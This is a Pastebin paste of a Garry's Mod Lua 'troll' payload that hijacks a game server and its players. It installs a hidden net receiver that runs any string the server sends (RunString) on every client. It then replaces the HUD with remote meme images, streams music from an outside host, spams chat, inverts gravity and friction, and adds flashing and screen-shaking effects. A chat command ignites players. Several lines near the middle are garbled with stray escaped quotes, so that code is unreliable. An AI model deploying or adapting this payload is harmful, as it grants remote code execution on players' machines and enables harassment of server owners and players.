2much4Us

Defqon Cunt

Apr 5th, 2018
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.91 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Gotta love da meme boi" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/Anikdote%20-%20Turn%20It%20Up.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://78.media.tumblr.com/6cf8b9870a7832a68294860527bd3a9b/tumblr_obt3htYFAR1sqkd33o1_400.gif", "hud2", 236, 238 )
  100. LoadWebMaterial( "https://pbs.twimg.com/profile_images/899245723044237313/yHA7SDg_.jpg", "doritos", 236, 238 )
  101. LoadWebMaterial( "http://www.underdone.org/leak/underdone/doritos.png", "fedora", 236, 238 )
  102. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  103. LoadWebMaterial( "https://i.imgur.com/DKEgdFo.png", "dew", 236, 238 )
  104. LoadWebMaterial( "https://i.imgur.com/Kpuw4IQ.png", "awp", 236, 238 )
  105. ]=]):format(lol.m_strImageLoadHTML) )
  106. end )
  107.  
  108. --HUD swap
  109. lol:PushAction( 42, function( pPlayer )
  110. lol:SendLua( pPlayer, [[
  111. (GAMEMODE or GM).CalcView = function() end
  112. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  113.  
  114. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  115. for k, v in pairs(remove) do
  116. hook.GetTable()[v] = {}
  117. end
  118.  
  119. local function GetWebMat( strURL )
  120. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  121. end
  122.  
  123. hook.Add( "HUDPaint", "newhud", function()
  124. surface.SetDrawColor( 255, 255, 255, 255 )
  125.  
  126. if GetWebMat( "hud1" ) then
  127. surface.SetMaterial( GetWebMat("hud1")[1] )
  128. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  129. end
  130. if GetWebMat( "hud2" ) then
  131. surface.SetMaterial( GetWebMat("hud2")[1] )
  132. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 190 *(512 /300), 135 )
  133. end
  134. if GetWebMat( "hud3" ) then
  135. surface.SetMaterial( GetWebMat("hud3")[1] )
  136. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  137. end
  138. if GetWebMat( "xhair" ) then
  139. surface.SetMaterial( GetWebMat("xhair")[1] )
  140. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  141. end
  142. if GetWebMat( "doritos" ) then
  143. surface.SetMaterial( GetWebMat("doritos")[1] )
  144. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  145. end
  146. if GetWebMat( "dew" ) then
  147. surface.SetMaterial( GetWebMat("dew")[1] )
  148. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 214 *((256 /110) -1), 190, CurTime() *-512 )
  149. end
  150. if GetWebMat( "fedora" ) then
  151. surface.SetMaterial( GetWebMat("fedora")[1] )
  152. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  153. end
  154. if GetWebMat( "awp" ) then
  155. surface.SetMaterial( GetWebMat("awp")[1] )
  156. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 198, 207, CurTime() *512 )
  157. end
  158.  
  159. draw.SimpleTextOutlined(
  160. "A MEME HAS VISITED THE SERVER >!!ALL!!<",
  161. "DermaLarge",
  162. ScrW() /2 +math.random( -8, 8 ),
  163. ScrH() /2 +math.random( -8, 8 ) -22,
  164. Color( 255, 255 ,255 ),
  165. TEXT_ALIGN_CENTER,
  166. TEXT_ALIGN_CENTER,
  167. 1,
  168. Color( 0, 250, 255, 255 )
  169. )
  170. end )
  171.  
  172. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  173. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  174.  
  175. surface.PlaySound( "garrysmod/save_load4.wav" )
  176. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  177. ]] )
  178. end )
  179.  
  180. --Disco time
  181. lol:PushAction( 7, function( pPlayer )
  182. local idx = pPlayer:EntIndex()
  183. timer.Create( "beat".. idx, 0.42, 0, function()
  184. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  185. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  186. end )
  187.  
  188. timer.Create( \"tchat5\", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"A MEME HAS VISITED THE SERVER >!!ALL!!< -- Project Infamous Approved\")]]) end) " )
  189.  
  190. timer.Create( \"razzzE\", 0.1, 0, function()
  191. RunConsoleCommand(\"sv_friction\", \"-8\")" )
  192. end
  193.  
  194. timer.Create( \"ggg\", 0.1, 0, function()
  195. RunConsoleCommand(\"sv_gravity\", \"-600\")" )
  196. end
  197.  
  198. lol:SendLua( pPlayer, [[
  199. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  200. local time = 0
  201.  
  202. hook.Add( "Think", "wat", function()
  203. if CurTime() < time then
  204. return
  205. end
  206.  
  207. time = CurTime() +0.05
  208. for i = 1, 16 do
  209. local part = emitter:Add(
  210. "particles/balloon_bit",
  211. LocalPlayer():GetPos() +Vector(
  212. math.random( -256, 256 ),
  213. math.random( -256, 256 ),
  214. 256
  215. )
  216. )
  217.  
  218. if part then
  219. local Size = math.random( 4, 7 )
  220.  
  221. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  222. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  223. part:SetDieTime( 4.5 )
  224. part:SetGravity( Vector(40, 0, -250) )
  225. part:SetLifeTime( 0 )
  226. part:SetStartSize( Size /2 )
  227. part:SetEndSize( Size )
  228. part:SetCollide( true )
  229. end
  230. end
  231. end )
  232. ]] )
  233.  
  234. lol:SendLua( pPlayer, [[
  235. hook.Add( "RenderScreenspaceEffects", "wat", function()
  236. local sinScaler = math.sin( CurTime() )
  237. DrawBloom(
  238. 0,
  239. 3,
  240. sinScaler *math.Rand(1, 8),
  241. sinScaler *math.Rand(1, 8),
  242. 6,
  243. math.Rand(0.5, 2),
  244. math.Rand(0, 0.3),
  245. math.Rand(0, 0.3),
  246. math.Rand(0.5, 1)
  247. )
  248.  
  249. DrawColorModify{
  250. ["$pp_colour_addr"] = 3,
  251. ["$pp_colour_addg"] = 2,
  252. ["$pp_colour_addb"] = 0,
  253. ["$pp_colour_brightness" ] = 0,
  254. ["$pp_colour_contrast" ] = 1,
  255. ["$pp_colour_colour" ] = 1,
  256. ["$pp_colour_mulr" ] = 0,
  257. ["$pp_colour_mulg" ] = 0,
  258. ["$pp_colour_mulb" ] = 0
  259. }
  260. end )
  261.  
  262. local mdl = ClientsideModel( "models/player/Group01/male_07.mdl", RENDERGROUP_BOTH )
  263. mdl:SetNoDraw( true )
  264. local posCache, time = {}, 0
  265.  
  266. hook.Add( "HUDPaint", "dance", function()
  267. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  268. local idx = mdl:LookupSequence("taunt_dance")
  269. mdl.SeqDuration = mdl:SequenceDuration( idx )
  270. mdl.SeqStart = CurTime()
  271. mdl:ResetSequence( idx )
  272. end
  273.  
  274. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  275.  
  276.  
  277. local w, h = 300, 300
  278. local ang = Angle( 0, 0, 0 )
  279.  
  280. for i = 1, 32 do
  281. if CurTime() > time then
  282. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  283. end
  284. local x, y = posCache[i][1], posCache[i][2]
  285.  
  286. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  287. cam.IgnoreZ( true )
  288. render.SuppressEngineLighting( true )
  289.  
  290. render.SetLightingOrigin( mdl:GetPos() )
  291. render.ResetModelLighting( 1, 1, 1 )
  292. render.SetColorModulation( 0, 0, 1 )
  293.  
  294. mdl:DrawModel()
  295.  
  296. render.SuppressEngineLighting( false )
  297. cam.IgnoreZ( false )
  298. cam.End3D()
  299. end
  300.  
  301. if CurTime() > time then
  302. time = CurTime() +0.15
  303. end
  304. end )
  305.  
  306. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  307. ]] )
  308. end )
  309.  
  310. --Let the beat drop
  311. lol:PushAction( 89, function( pPlayer )
  312. lol:SendLua( pPlayer, [[
  313. hook.Add( "GetMotionBlurValues", "wat", function()
  314. return 0, 0, 1, math.sin(CurTime() *13)
  315. end )
  316.  
  317. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  318. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  319. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  320. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  321. end )
  322.  
  323. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  324. render.SetMaterial( Material("cable/blue_elec") )
  325. for i = 1, 32 do
  326. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  327. end
  328. end )
  329.  
  330. timer.Create( "thedrop", 0.42, 0, function()
  331. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  332. end )
  333. ]] )
  334. end )
Advertisement
Add Comment
Please, Sign In to add comment